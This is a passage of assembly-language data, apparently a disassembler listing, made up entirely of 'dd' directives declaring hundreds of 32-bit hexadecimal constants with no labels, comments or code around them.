		dd 2227F917h, 6706D415h, 4DBAEF16h, 0EAE86CD7h,	0DFED3D5Ah
		dd 851B967Eh, 0F07DFC36h, 53D5D56Ah, 0ADC8BB18h, 90B5D4EEh
		dd 3325F960h, 8B766B29h, 5E1AFFE5h, 279D004h, 0A30A0ED0h
		dd 0F2AE70F5h, 523FE3E1h, 0CD74E1ABh, 0BC311D6Eh, 44F93751h
		dd 875EC50Ah, 5ED3D371h, 39E51CE7h, 44466C7Dh, 0CCDB5FB6h
		dd 8F461BCAh, 0C790ABFEh, 0C6740C08h, 137BA0CDh, 527BBDC0h
		dd 571342A1h, 0A7A10E81h, 9917CABBh, 6BF501FFh,	5A791F38h
		dd 85D3E64Eh, 493B37CEh, 0EDC3A9D6h, 0B7AE5E44h, 0DACC359Dh
		dd 33975E4Fh, 0B8A14B10h, 9B110A03h, 0A8818AFFh, 0A7B1BC79h
		dd 174DAC44h, 3BCDA05Bh, 4AAC8540h, 1482AE9Fh, 0D1D23595h
		dd 81DB2B9Ch, 0CDDA2B7Fh, 0FA26DC6h, 4F0A17BAh,	0E01D8F6h
		dd 1085C233h, 0DACB4A13h, 0ABEE670Ah, 331E7CDFh, 8D254F1Bh
		dd 0C1E6AFD8h, 709133E6h, 55EA747Ch, 3B3D8E04h,	31BAD0B6h
		dd 9AD34FBDh, 0A267EEC4h, 0F9127663h, 0D4DC30D7h, 0C9C5DF90h
		dd 0C3819F07h, 702EF4EFh, 2C7066A4h, 0B4ECD625h, 0C87BB7Dh
		dd 9B0418E3h, 7CB27155h, 0FFE278FAh, 9A57EB2Bh,	553A55DFh
		dd 0EF84C939h, 50E54736h, 0C6B6F07Ch, 3829F5ACh, 0D1ED4139h
		dd 58E18BFh, 0C0B2E0ABh, 7286AAADh, 733FE809h, 0F9316933h
		dd 0BFDFD401h, 6F424BA8h, 209FC17Ch, 64E879B5h,	459F3C81h
		dd 8593CDC8h, 0BBD7618Fh, 592F238Ah, 1EBD3FABh,	4C112792h
		dd 9523C469h, 2872917Bh, 4EC12081h, 15897FEh, 0A115213h
		dd 0FF389A6Fh, 0CEA46556h, 0C3C6FA2Fh, 24B30B55h, 0E599EE8Ah
		dd 0D28A45E7h, 3AF030C8h, 13360C3Fh, 7978138Dh,	0F784B24Ah
		dd 9DF241E6h, 7A74549Ah, 0B3602515h, 58C4250Fh,	717A75ECh
		dd 0EB29C8FDh, 9B70EDE4h, 69429CB2h, 17F8FEA2h,	0ECAE5F2Ch
		dd 8ED1987Eh, 286DC623h, 0DB755139h, 8EC936A0h,	0CC866324h
		dd 5B29223Ch, 1BF5D911h, 838F0BAAh, 8E243112h, 0D413FBC6h
		dd 0CD907014h, 0CA038D1Fh, 44F0B953h, 0F1A3378Ah, 8C4C7551h
		dd 0B9360343h, 0E885BAFEh, 0C9AD2207h, 9D06D999h, 0BD76178Ch
		dd 3BFEE1BCh, 4A82AE93h, 4C8B8E31h, 433C365Ah, 6C2382E7h
		dd 966C9ADAh, 0E65490FCh, 72B979F3h, 898A5522h,	1978B317h
		dd 0A792AC2Eh, 0AE76D39h, 0FABF10EAh, 0E4B85C0Bh, 3B368E12h
		dd 0D9B312A3h, 17D8A807h, 0B96A437Ch, 0FCC9BE9Bh, 0D43DF72h
		dd 0E94F415h, 65524BE1h, 282D99BCh, 0A43B1EB4h,	0F07ED956h
		dd 9B8CE35Ch, 56EF58B6h, 64F1B67Ah, 0DEA27F35h,	147E5F60h
		dd 5E7A1227h, 73375F53h, 73A5A591h, 7470600Fh, 95ECE5FCh
		dd 7F2A59D5h, 7921B0A7h, 0E97E62F5h, 370E9D1h, 204115A4h
		dd 5F458BFh, 0E22AAF4Ah, 61919CF3h, 2840BF1Dh, 6B61A151h
		dd 0D49DD033h, 0C160F7BBh, 43006074h, 8CDC006Ah, 151EC5DFh
		dd 45486675h, 1F98325Ch, 0A71F6DD3h, 14CA932Eh,	35AAF16Dh
		dd 72CDAB55h, 43D3B9FDh, 21A631A4h, 0CD14D41Ah,	178BC3AFh
		dd 236BB486h, 3B7DD365h, 555A79CEh, 0F500383Dh,	3639DCFAh
		dd 92248AAEh, 948FF1DFh, 0C8BCDFF5h, 46B13A7Ah,	0DB5CAE5Dh
		dd 0EE38788Bh, 0DA1B5BDCh, 89A8C95Ah, 5D897668h, 0D28B4115h
		dd 481FC95Ah, 0F33FB355h, 0A59E7EDFh, 8641601Dh, 0D7E7BA42h
		dd 9860275h, 6A78F871h,	81C90F3Ah, 0BFCC8D85h, 0D9C6ECD6h
		dd 850D0BAFh, 463850D9h
		dd 36B3C5D8h, 0EAEAA646h, 0DBD2049Ch, 0DE9536CDh, 0A2CF6A5h
		dd 922781EDh, 0A551E4ECh, 92976141h, 0FBA793AEh, 98D4CC2Dh
		dd 0C5427D76h, 0DDD80229h, 807B10C3h, 72D6DCA7h, 0D5173C2Ch
		dd 13612003h, 9C4FE964h, 1CF92B06h, 0BD4D0E03h,	0F5913C39h
		dd 0DF8F06D9h, 0CC996386h, 3818D5E0h, 41E3CFBh,	4466D12Bh
		dd 8F8A3CC3h, 0A5D20A3Fh, 0BD612756h, 20B480EDh, 55522816h
		dd 1B8EFA35h, 7B005D39h, 7A97C6F4h, 4CADEC4Fh, 542D5D1Dh
		dd 0FD17E311h, 712EC710h, 8E38BB99h, 309DAA10h,	82BAAA0Ch
		dd 0B7FC3C01h, 8B086E7Ch, 633E3618h, 0D9D4B867h, 38AEB16Bh
		dd 4D00B1E6h, 0A4B7C191h, 0A2E483B7h, 8C4D040Dh, 8BE2E885h
		dd 76B21C8Eh, 0D2EDB277h, 583A479Ah, 0D978997Bh, 0C7A03ED5h
		dd 857DFD8Dh, 305C7785h, 5D0CAD54h, 1BF6A57Dh, 0F7040C4Eh
		dd 0D5356B00h, 407A1C08h, 0EC71FB2h, 205E7DC3h,	0A61A7A7Ch
		dd 4BA9657Dh, 0DD403986h, 0A2DB7495h, 0DF188A6Fh, 0F422C28Fh
		dd 8491A3B8h, 8D3B5CA4h, 0AAA4B31Ah, 301AF335h,	5BB894B3h
		dd 3681F0A6h, 0C1FB13BBh, 0D3240A9Ah, 0ABF9FAC8h, 6416A996h
		dd 0C4A60A9Ch, 0A55549DCh, 0A79170BBh, 84770EA1h, 649108BAh
		dd 9EBDB28h, 0AF2EE83Dh, 9DF60D3Dh, 58B677A4h, 8C164157h
		dd 6A90D137h, 0D8C556D6h, 4065E9CAh, 9911FCA9h,	3F76A576h
		dd 9C6BA8BDh, 53DB0840h, 355820A6h, 7B25D571h, 0A9FA1341h
		dd 0C5351719h, 93A4A7EFh, 19491172h, 5121B9B2h,	0E1FF8A7Ch
		dd 0E1EBB422h, 0C1BCDFFBh, 81E7B0F8h, 96F7BAABh, 372C7767h
		dd 9938E125h, 9CDF9F85h, 969A27C4h, 912335CEh, 3D2BB2C4h
		dd 0AD5ED235h, 0C7A178A6h, 0FBD0A42Ah, 0E82EDCFBh, 97014784h
		dd 4C180902h, 2C2244BEh, 908CA07Fh, 6C57EDF3h, 8487DAB4h
		dd 497CDD07h, 0DC9D49E9h, 9DAB2500h, 6642D1E1h,	5C7FD068h
		dd 974CF1DFh, 0E9DC70E7h, 81040D24h, 0AE65F08Fh, 4928A52h
		dd 0F82D4B21h, 81AFF63Dh, 44D70B4Ch, 32D02A2Ch,	70526038h
		dd 91C03816h, 335EE6D7h, 2828D525h, 0DEEC3B7h, 451A7300h
		dd 58F08510h, 34B5F8E0h, 45AAA21Dh, 0F561B999h,	0B5871EA4h
		dd 4010B4E5h, 46049A1Ah, 0DEE6CD71h, 5EF36B5Ch,	6AAC6D93h
		dd 0AB9536F1h, 175DB8B3h, 0C2865A21h, 21DDF85Fh, 52555FA9h
		dd 0E8CE72C7h, 39CAC93Ch, 3EBBA207h, 0BF11EBCEh, 57D26A78h
		dd 0E94BA83Ch, 0A617DA29h, 1D894DD3h, 0F7AB66E5h, 7497FC0Ch
		dd 0F0F4A972h, 6D7E9B2Ch, 0BB7CB5E8h, 8226BA81h, 9A80421Ah
		dd 0A102B907h, 6F4B863Fh, 0DB939D9h, 646220AAh,	0A8FA7EDh
		dd 76201E10h, 0FEA4B681h, 0EA8D17Dh, 77D37785h,	0DCEACB7Fh
		dd 0BF1D6EE7h, 0CE0D5F7Ch, 1EA4AD9Ch, 0C162B0FEh, 0ED808A9Fh
		dd 17ED5DB5h, 0DE90729Dh, 6E1D1BE8h, 73A3A2D7h,	905875EFh
		dd 61BDB1B8h, 6B415476h, 0CCE90DEBh, 0EC575D2Dh, 4A34E414h
		dd 75BF4AC8h, 8F88F015h, 3F0B9B69h, 8B47565h, 0A36F7379h
		dd 64ADB841h, 1FC3ACAFh, 4EB50C25h, 494BF0Bh, 0E21762FFh
		dd 0F671216Dh, 132D4406h, 0A1E733BEh, 9FAE451Dh, 0FF3706B8h
		dd 83084735h, 0D35EA9B3h, 99B6708Fh, 212D9576h,	4CA924A4h
		dd 0AC089478h, 0C259FB29h, 0D76C76F3h, 0C9BBC4DFh, 0CAE24295h
		dd 0EA231C8Eh, 80B084CEh, 0BD115370h, 559AC0BEh, 0D3617D7Bh
		dd 35C2F655h, 5A8E06DEh, 58FA6C93h, 62F5201Eh, 4D27E802h
		dd 0F2830017h, 982E3EEEh, 751DA717h, 4C9B9F34h,	0F8EFDA55h
		dd 0D9503D93h, 0AA9C34Bh, 8850A553h, 0C2C1C0F9h, 1DA1F57Bh
		dd 0C3F71F7Eh, 279F7634h, 524263D2h, 0F0F6880Dh, 48356942h
		dd 0EC9A4684h, 97F2584Bh, 0A3C89E31h, 9480CACAh, 794BA006h
		dd 0B7D64BF7h, 8B4CF5CFh, 8D4E8B86h, 1278490h, 55109F05h
		dd 0E512B298h, 0B12680FBh, 0AC7300F3h, 3C217CC7h, 0A59618D1h
		dd 50EDD9FEh, 486E3087h, 588ED704h, 1DA6E8AFh, 96E62C72h
		dd 3D24ECEBh, 96259F42h, 0F53ECA29h, 7FD65616h,	0A9BFDA21h
		dd 31450AB1h, 0A7E06CB9h, 513CE392h, 665EDAB5h,	0A88CA1C0h
		dd 29610B81h, 9F387C08h, 0E7947A9Fh, 5C8CA805h,	554CC713h
		dd 501504D4h, 9522B2ACh, 3A347216h, 0F3107C76h,	67627521h
		dd 667F2BAAh, 0BDE6C586h, 8C6715A4h, 0FA08E9CBh, 62C4AC57h
		dd 84997BFFh, 33B8B35Eh, 1B8E2CA7h, 0DFE99D8Fh,	0F4592999h
		dd 108A8797h, 1800C44Ch, 0E9D2AAC5h, 6E45C8D5h,	4F588EBEh
		dd 0C8BE284h, 9F3D2E1Ch, 546CFC38h, 0BCFC1487h,	0CD81CD63h
		dd 0C9166AABh, 0FCD9D1F9h, 27017A22h, 0BEA759Ch, 18163360h
		dd 433339B4h, 0F5F413E2h, 30BE86E6h, 0B57CA74Bh, 0E5E139D5h
		dd 0C3C3E86Ah, 0EB5345CBh, 1E256DD6h, 0FA4B71C8h, 1883C25Bh
		dd 3B282E07h, 0C37C28EDh, 880C62F3h, 0A413B691h, 0D79C39BDh
		dd 65647E04h, 0AE49D2B5h, 38CBA1E6h, 62305FF8h,	9375740h
		dd 38625520h, 3426B75Bh, 22024FEh, 242B7CD6h, 0F08A1AB3h
		dd 0A8EC4EBDh, 69C1349h, 1CACDD84h, 13C93128h, 5B2E76BCh
		dd 0B428902Ah, 851B4BF5h, 0F491F510h, 1999B0AEh, 0C0DD900Eh
		dd 0BAC1B0ECh, 19793101h, 0CD568B3Dh, 1EEA7DF1h, 0AAB19D53h
		dd 58FED81h, 17E95D6Ah,	331AC426h, 0F433FA3Ch, 0ED1653CFh
		dd 8162B090h, 1B447C2Bh, 339C0604h, 708C84A2h, 57BE1AA7h
		dd 65B60ED1h, 56BCC1E8h, 0B6AB4822h, 8CD9E479h,	0FBC2ECE3h
		dd 1BB6163Fh, 0F12ADD04h, 2D76B7D1h, 5A7BDF25h,	0E51ADB80h
		dd 0DEB544E2h, 476B99A7h, 0BFFEFB81h, 0E1FE3985h, 0A77CA2F0h
		dd 5F1844A4h, 12D6AE32h, 0EB8F46B8h, 6575070Fh,	8824CA36h
		dd 20ECD263h, 0CB037C42h, 3A9BA044h, 85B85BF9h,	0B4C7B5B5h
		dd 11822718h, 23316824h, 93268F94h, 0F5AAD6FFh,	0C4652EB1h
		dd 67A0E8Fh, 849F49EEh,	0ADF04244h, 0CF57EE82h,	907E2FC2h
		dd 0B9BCBA5Bh, 81144919h, 0DB59E94Dh, 0B2361003h, 8A80FF3Eh
		dd 843D2D38h, 95877006h, 0CE31AAF8h, 4BFE066Ah,	4D447097h
		dd 3C0DFC51h, 0EC6BE1D2h, 0D5713482h, 7F569BD3h, 429F9C5h
		dd 6957E620h, 8F0C8BB6h, 0DABA9376h, 20E3D6C2h,	0F13D879Fh
		dd 0F6B1F97Ch, 0CDB93427h, 0AED9A350h, 0D5752129h, 483ED1B3h
		dd 0BAAF4EF0h, 17B0EB5Ah, 0BEA391Fh, 0FA7ED0E1h, 765151EAh
		dd 2E2EA23Dh, 0F8250FE5h, 0C7D34DE4h, 0F945E3C0h, 0E917C6E2h
		dd 3DFAA702h, 0AA8DF221h, 0CABF7EC6h, 52ABB632h, 0DF942139h
		dd 3FFDCE3Fh, 7FD942F7h, 0D79435BCh, 0FC9B61A6h, 427F0636h
		dd 0F700595Eh, 68950984h, 8096F9A2h, 7A0D85F3h,	85FD39FBh
		dd 0EBD0C856h, 618EE212h, 827BDF90h, 0CAEE485Eh, 0FB08EBB3h
		dd 808771FDh, 3D9B3946h, 0E702D8A2h, 0A9EBC35Bh, 3173C73Eh
		dd 2FFDFAF2h, 0C72C520h, 0EFD64989h, 663EFD78h,	23D2B4F6h
		dd 7F4B515Fh, 0CE865571h, 0E97B7942h, 987048DDh, 508DF7BCh
		dd 0CD3D63D8h, 2119C12Bh, 0FE3540ACh, 1CB65E91h, 0E44F1444h
		dd 0D79AD334h, 29B730B0h, 5B06E7B7h, 1759B240h,	324C7324h
		dd 47B8A96Ah, 8B7144B7h, 0D479D265h, 63688C20h,	0CA42F2B6h
		dd 0F7B16B57h, 38E3D95Eh, 0A75A8B9Ah, 0F98CBE2Dh, 0CCD098C9h
		dd 59B012EFh, 7E1B891Dh, 86E1F072h, 77F8DE3Bh, 7D2B1B58h
		dd 6D10CC3Dh, 98BB4F78h, 0ED590762h, 852F8641h,	0E764F218h
		dd 0E5214C02h, 156D4EA5h, 3AD014ECh, 8A4A9D6Ah,	0AD97CB27h
		dd 1A9602C5h, 7322A47Fh, 945265B7h, 96931051h, 0FF1110B9h
		dd 0F1252B26h, 9719AA54h
		dd 139F0174h, 0A46C8C40h, 760C007Ah, 79FC1677h,	996FB576h
		dd 9EF7D6F9h, 4D49562Ch, 798CB894h, 9B27CDCh, 0CFB613BBh
		dd 86B656E6h, 68E57E5Dh, 0DA5DE7F9h, 0A5C0B8C6h, 8B9D8447h
		dd 0EDBECFC4h, 0AA5BFC37h, 1FCAFDE7h, 8D9D130Fh, 5118A45Bh
		dd 64706CE9h, 0B413C005h, 0F266D07Bh, 0FB5F3322h, 0FE6463B3h
		dd 348E8495h, 8D644D61h, 4E11D91Ah, 8635268Ah, 0F0381729h
		dd 0FE503A8Eh, 8AB385E5h, 3FC3E0B7h, 9269287Fh,	9EDFEE71h
		dd 4E0F7205h, 96ABBB04h, 0FA9969C6h, 0DBCFD169h, 3934A957h
		dd 0D07EF6C2h, 68C9D29Dh, 5C3B436Bh, 936EC847h,	6C068CBFh
		dd 0F2F0B8E1h, 97744B05h, 4D8A6037h, 0ED7835EAh, 0DB81EBA8h
		dd 628CC37Bh, 0EF2D4804h, 96822476h, 0FFA62D8Eh, 848A74C0h
		dd 0CE2D7CC9h, 0E9E287C2h, 25FA5A6Eh, 0FDF3B24Bh, 31E1FAB2h
		dd 92E1030Fh, 26DAC0ACh, 0A1CF0AF5h, 0F4EF7A96h, 4CE67CA5h
		dd 0DEABC469h, 0CC16F833h, 20BE7AC4h, 0B4889A73h, 0CA94BF96h
		dd 0D130C41Ch, 0E0E914B2h, 147DC8ADh, 9794ACECh, 36A63270h
		dd 18246640h, 834E76E4h, 0C3F3CA47h, 1989E5D2h,	983CF3C4h
		dd 8BD10EC1h, 28AFD7B5h, 24DB52AAh, 3DDB405Ah, 748971BEh
		dd 67906B3Fh, 0FE5F8A6h, 13CD5526h, 0D3CEB0B2h,	552618EDh
		dd 66061875h, 24F04629h, 9763F583h, 0CAF432C2h,	0EF24383Bh
		dd 1B9791B6h, 0CE3A3C8Ch, 5C6E5193h, 6476D303h,	0E8BC51C2h
		dd 0B72420D0h, 0D7CA2B5Ah, 3172FE62h, 0AF712B23h, 0D83344C8h
		dd 634E7F90h, 0C7A0C068h, 7550A726h, 0AFA0E2B1h, 4B549DFDh
		dd 787F8FF1h, 3803854Ch, 140DD11Ah, 4FE3BB9Fh, 31342C92h
		dd 773377DAh, 40F33ABBh, 589F1EDDh, 7761D558h, 3AC2E19Fh
		dd 0BFCFAE18h, 3499C49Eh, 3532FD2h, 7F1AD99Ch, 0AD42ED71h
		dd 0D30E7A97h, 3EEEF25Fh, 6FD72EB7h, 7556EE45h,	0A373E065h
		dd 7AFC350h, 729924FDh,	7C00CCC9h, 0F2138EDFh, 5B35DC22h
		dd 14859929h, 0C91D457Eh, 24DCEE6Ah, 0F1FCA5C7h, 0A0CB5651h
		dd 49B65B4Eh, 792836E6h, 6EC1C797h, 86880BDEh, 1C3DCEAAh
		dd 2666AF1Dh, 0A411ABF0h, 0FEC60558h, 0A9A0D4CAh, 0D74D8906h
		dd 0F8238868h, 27F838CEh, 0FC79C44Bh, 0E02887F1h, 5234E44Dh
		dd 6CDBC0A9h, 5D5DF9FCh, 57AE506Fh, 973B9979h, 0C89C9075h
		dd 4AE292E6h, 0E93409A0h, 6937CB38h, 7CC1CE45h,	2C1AC1B1h
		dd 904009F2h, 231478D8h, 0DFAA9375h, 554CCB17h,	9D348EEDh
		dd 8D7DDB32h, 0AAAD8E0Eh, 0C42A1785h, 0E21174FEh, 93F040ECh
		dd 0D897DE86h, 0B36D9154h, 0DB3F775Dh, 895AEB92h, 1F113355h
		dd 0DDFE1F05h, 0F7BD49A4h, 946F5876h, 0DFC0299Ah, 0F743F1E9h
		dd 8AA85711h, 2799C35Fh, 99F7748Dh, 726E5A3Dh, 1C3D91D3h
		dd 0C4C0FE04h, 181F4AFBh, 6F366261h, 2016C477h,	41751DC4h
		dd 7E487B35h, 8D3F7B14h, 81671CDBh, 3786128Eh, 37D1C43Bh
		dd 0A6DD3B3Ah, 8ED2A7FBh, 9AFEBCA4h, 924E98D2h,	352EFBFAh
		dd 869BFAE1h, 0D0241FF0h, 4895B2B6h, 0B70C8BFh,	843409DFh
		dd 0CD921EE4h, 0F3B03F97h, 6F9C4539h, 0FD9B9023h, 0F973A34Ch
		dd 1916FF1Fh, 8EAD4C55h, 4F803C4Bh, 861E6D00h, 301C984Ah
		dd 0E4694349h, 0DADFD35Bh, 0F7106FD7h, 7C24B5ADh, 0E5D77CA6h
		dd 0CAFD6BF4h, 0DAC7CD93h, 0F6955DD7h, 3D75DF30h, 95382A95h
		dd 478F8FBCh, 67E14362h, 0E0D2E3DFh, 0E8273D3Bh, 288823F9h
		dd 4BA37D37h, 0F8858159h, 0B68045C2h, 25D77F85h, 3BEBAB5Eh
		dd 4EBD9632h, 11959263h, 0DB9193E3h, 0BBB0C18Ah, 7AC1E770h
		dd 0AB2B3933h, 0ADF46094h, 0B1B274E5h, 92CB4F3Ch, 9CD03E73h
		dd 3FB0817Fh, 0EBC73706h, 41B207ACh, 0B853C9E1h, 3DCD4E6Eh
		dd 0BB859FC3h, 16AF14D0h, 668F036Eh, 0E01B5DD1h, 71F67BC4h
		dd 131CF674h, 0F96A1EDCh, 6767DEE6h, 0AA3DB5F2h, 4113DBBDh
		dd 62B4D682h, 0D958C9ADh, 0F7B619D6h, 59F04873h, 0B61B8A26h
		dd 0DD22A140h, 0C7B98B3Bh, 0DB2162EEh, 249BC39h, 0E14EC130h
		dd 90D90715h, 0DFC4C77h, 0FA222C1Eh, 5D4072DFh,	0AC7D47B8h
		dd 0BEDD4EAh, 7AC2F495h, 5A80FA1Eh, 0AEF2624Bh,	0C9CF78F9h
		dd 22A50F0Ch, 42715AF4h, 7DC15413h, 83509E53h, 67DA2991h
		dd 80C86EA6h, 6CFDA29Bh, 2E2B89C1h, 611E5FD0h, 25801C9h
		dd 43F85EAh, 0ED69A81h,	947EB5A4h, 611F56CDh, 0FD13562Bh
		dd 0C7C5843Bh, 73AF251Dh, 0B7E2DD72h, 87049700h, 0B225D012h
		dd 0E43000CFh, 7F712C0Fh, 0CF1B3616h, 3B0F3591h, 0B6748FBh
		dd 0C164BD71h, 8C4B661h, 952F2B13h, 596CBF2Ch, 5393BE6Eh
		dd 0EC6B9193h, 8B0789C0h, 784C676Ah, 0FDC33F9Ch, 549D6CBDh
		dd 6664B7DEh, 7EE16A43h, 1572633Bh, 0ADA37CF2h,	0BF32A916h
		dd 0C4D2B20Bh, 0EEF33D28h, 86726A90h, 0C6AA600Ah, 8A73F283h
		dd 53483632h, 0F59CED8Dh, 1BC85F6Eh, 6DBD6809h,	0CC30752h
		dd 5EA3D98Bh, 401F4E14h, 75178F58h, 84A3186Eh, 4CDB4F7Dh
		dd 30902F7Fh, 0BA8BCE40h, 6FBB6C8h, 0EAB8242h, 6929AC04h
		dd 0C9E29D72h, 3ECB52ACh, 84F73ED8h, 0B5D10EA1h, 0E3933094h
		dd 0AC0F210Ch, 5CAFD6D6h, 0B4A5F376h, 0F62A836Dh, 0AF2E575Eh
		dd 0A2A9589Eh, 2B917114h, 313A5DD3h, 58921C37h,	9C555A61h
		dd 5F2DA7B6h, 0EB407511h, 0B52C4EE2h, 86280236h, 3AAE513Fh
		dd 5D9BA5A0h, 67F48668h, 28C7F4DAh, 0BCFD7F57h,	3AF8F68Ah
		dd 0A6379F77h, 5F62A86h, 0E7228CD6h, 4FD85F10h,	0AC660FCAh
		dd 837194B6h, 0D63377Eh, 0D49D0DB0h, 25A864F9h,	0A52316D9h
		dd 0A55C01C2h, 0EF1559BFh, 59B5F397h, 659C32Eh,	0BD695806h
		dd 37D6A57h, 0E5628F2Ch, 5DE6885Dh, 723CA9FCh, 0CEFC8B89h
		dd 0F0D38055h, 699923h,	0A257262Ch, 0EC10C41h, 651A61FFh
		dd 0F57CCCD2h, 6091F3D8h, 0F9BAF01Dh, 64584507h, 0BA58FA08h
		dd 0E28F2073h, 5FF01C4h, 0E18ECB3Eh, 8294A582h,	516072F2h
		dd 0E0E24859h, 0CEF94E68h, 0B1E5B64h, 0B98CA4F4h, 0ED9C29E8h
		dd 1C8EF9E6h, 5B9B5399h, 18F486F5h, 0B329FF6Ah,	58A5D320h
		dd 4F1A3C05h, 57D62AE1h, 7CE9BCF3h, 888C56AEh, 742735ABh
		dd 84784AE8h, 5F33087Ah, 96F41980h, 973609B4h, 0F67CD608h
		dd 0C1E2D502h, 0E8D82158h, 0B6F76CEFh, 89802EB7h, 7780ED9Fh
		dd 906B1A2Ah, 0EADB7D67h, 89EEFF0Dh, 5CC752E0h,	0CA6B2651h
		dd 1F5863CEh, 0B6ABE228h, 0FF5AE01Ah, 9C730E58h, 3BAC1C66h
		dd 79C9DB3Eh, 42495096h, 0DCDF113h, 0E6B25995h,	0A271FC9h
		dd 7E91D300h, 0CB3C97D5h, 0D5FEC2C5h, 0D2631D49h, 0D713CA59h
		dd 59FD555Bh, 4A266C88h, 0E4894452h, 0D2046CD2h, 0A855A73Dh
		dd 0A60BE227h, 6F6B5431h, 0F0835805h, 0B2C061BBh, 2FA00966h
		dd 6825DFE8h, 64CEB2FBh, 0DC798115h, 0EC6DEE53h, 8AD0295Ah
		dd 0B7E59C0Eh, 982017B5h, 0BBCC0C72h, 0CF5EAB2Bh, 4819F821h
		dd 176012A0h, 0CB465CA9h, 9DA6FA72h, 34750C96h,	0BE13891Ah
		dd 0E151AEBFh, 8B2D1E3Dh, 31FAA546h, 4F6ECA96h,	34AF9B13h
		dd 0B4E36EBFh, 770EC5EAh, 112C9658h, 6B69B69h, 0DFB574Fh
		dd 0D6C43A79h, 50461E50h, 2D9C07C3h, 0EBB3A3BCh, 0B12DE7EBh
		dd 0E53AC8E0h, 6AC28404h, 0B46EF71h, 52531A52h,	0E69D74E8h
		dd 49F1947Dh, 6AAFF466h, 0BF65526Ah, 13F6B9AAh,	0A437F8A9h
		dd 0EE2A5B64h, 1B88A8C3h, 81EE5823h, 0D38D878Ch, 0A1FBBE8Ah
		dd 0ECDFE752h, 54EE1D6Dh, 7615CA9h, 0E583F35Fh,	77F1B2C6h
		dd 0FD285484h, 0A961EC3Fh
		dd 0E0125333h, 0B215E663h, 0E37481CDh, 0FEA21A73h, 82925E38h
		dd 3F0DABACh, 0CF1BC066h, 2AA9E329h, 3FAF6A6Dh,	0BF7B960Ch
		dd 497317A1h, 0A277CC54h, 0F007FDDBh, 387393F0h, 429FE975h
		dd 55975B43h, 4671F77h,	0AA311876h, 6821AC5h, 1F854A9Fh
		dd 19C5F331h, 9C7248Ah,	1569D4D3h, 0E17AF858h, 52E7BF6Bh
		dd 3C5F8B9Dh, 3BD6B96Ch, 658D3006h, 0EF63144Ah,	67E9104Eh
		dd 3DED855Fh, 1720BECDh, 36192A93h, 7E70D6C3h, 0F405C1Fh
		dd 250DA498h, 0F450CC10h, 7B09A5Ch, 3C95B620h, 8F59E473h
		dd 0C47A7376h, 0A8B61723h, 25AC0C31h, 0D1789837h, 0B21E1531h
		dd 986DAB1Ch, 5F293DCh,	0EBEF2FBCh, 202E90ABh, 7A0B64F6h
		dd 9A5F707Bh, 0BA99AFB7h, 8116740Fh, 0C0F4A8A8h, 4620B361h
		dd 0E343AA5h, 1C90B04Dh, 0E6D61610h, 657D185Ah,	9D11D714h
		dd 9DF1F2A1h, 0D3978EB2h, 24684B2Ah, 0CEAC62AAh, 6D78CB4Bh
		dd 2B391870h, 623AD421h, 783BCFBFh, 0A65B0FC9h,	0A54E413Fh
		dd 0EE0A4978h, 31B3CBBFh, 9A66EC54h, 992F47AFh,	0A670015Eh
		dd 887E11AAh, 0D05D0BCEh, 0A21C9AABh, 0E0541214h, 0AF53C56Fh
		dd 241E8780h, 8CA1DDF8h, 4874BE48h, 0DCA09D81h,	5181D425h
		dd 4A341B09h, 7DB974D5h, 0CE77C0F3h, 0EDA3E257h, 486A54A9h
		dd 5290F32h, 0AFFB0686h, 0E1C5303Fh, 13AC9E1Bh,	0F2A6876Ch
		dd 0B992FDCFh, 0B320F4A4h, 1D72439Ch, 0D59AEBD6h, 7F565D70h
		dd 6EBAC864h, 0EB9B2F3Ah, 0A80FFB5Ch, 0A4034111h, 5C2A1065h
		dd 0FF835452h, 65D4BFFAh, 0CC5AE6h, 69598566h, 0D4417C22h
		dd 7690A598h, 45E9EFF8h, 0CA53BB72h, 314C64B2h,	3BD90296h
		dd 3F687E1h, 4C471511h,	10ADBC49h, 95548137h, 14A54434h
		dd 9505D9AAh, 0FEA142C7h, 3C58FABEh, 80A9EE70h,	6C0FE2FBh
		dd 0A03A1283h, 0BAF936B6h, 70F0BFB0h, 2763B924h, 421606E6h
		dd 0B96661B9h, 0A7F0320Fh, 0BBD3ABAFh, 0DC7E99B8h, 95C9EFE5h
		dd 83DA9CA3h, 6A1FEC45h, 1DE2F08h, 0C811DE1h, 15DB2CB3h
		dd 1D730ED3h, 342D90B7h, 46672490h, 8B7812A7h, 10EBA71Eh
		dd 0FDB99801h, 364949DEh, 4BA9FCC4h, 2F91ECB6h,	488212FAh
		dd 641B650Ah, 2ED24332h, 0A8334516h, 0B82A58F0h, 6DA89E93h
		dd 12655289h, 9C57C743h, 59C6290Fh, 20752Ah, 699E1174h
		dd 0CA1AED35h, 0ED10AE25h, 0AF9A894Bh, 333FD405h, 0F2F26F54h
		dd 1671BE06h, 75DC90A7h, 0D207D277h, 0F5B6894h,	3B77B549h
		dd 66CF57EFh, 4C1BF715h, 300E5AA1h, 6FCA747Bh, 0C69D56F0h
		dd 3AADD73Fh, 3BE77BAAh, 0D8B6C54h, 5B265A72h, 2E1178A1h
		dd 0A9DBC6BBh, 3F271DA0h, 791F79F7h, 72A8BF2Ah,	0E18759EAh
		dd 0C9CFABBDh, 0BB9A1858h, 0EA2ADE10h, 0FE94D571h, 0ADF7A5AAh
		dd 58702E0Ah, 77FDA6CEh, 0BC323F2Dh, 0D3BC18Ch,	850E6D91h
		dd 4C418DBDh, 0CBFDCFFFh, 9F048E2Fh, 0B848DEFCh, 2743BEE8h
		dd 0B45C97CDh, 0CDBB9A37h, 81566E29h, 0A1386357h, 0AEA6D206h
		dd 0B853C775h, 69DA8762h, 0B11EFDBAh, 0EF72CA73h, 0D7579ED5h
		dd 0F2F5C9B6h, 0CCA40006h, 0F3ED3AF9h, 0CC4FCBAh, 0A5C89EBFh
		dd 0B60B047Eh, 5572BFB9h, 0B00D809Bh, 0F168C21h, 0C4F24401h
		dd 34EB19F6h, 8610D27Ch, 3ECFE24Fh, 0F6AE3A9Bh,	0A9CAF6Ch
		dd 0C4DFD07Bh, 0FEBFFC8Bh, 33B991BAh, 1D5BA6E9h, 3B981EFDh
		dd 7120C824h, 0E128A218h, 8C339087h, 398E4022h,	3CCF6519h
		dd 0E1281636h, 332D9BF3h, 0A3379FFAh, 3C28034Ch, 4C5BD5DBh
		dd 0ED2B98A5h, 0B3513FE4h, 24910AABh, 49A8078Eh, 32D94B01h
		dd 0E173AB2Bh, 7359B125h, 24B5C1A5h, 4779EFC4h,	0DB6BC1B3h
		dd 88C82C12h, 5E32AFE4h, 0AEB3C7DDh, 7F59FC00h,	0C24F4456h
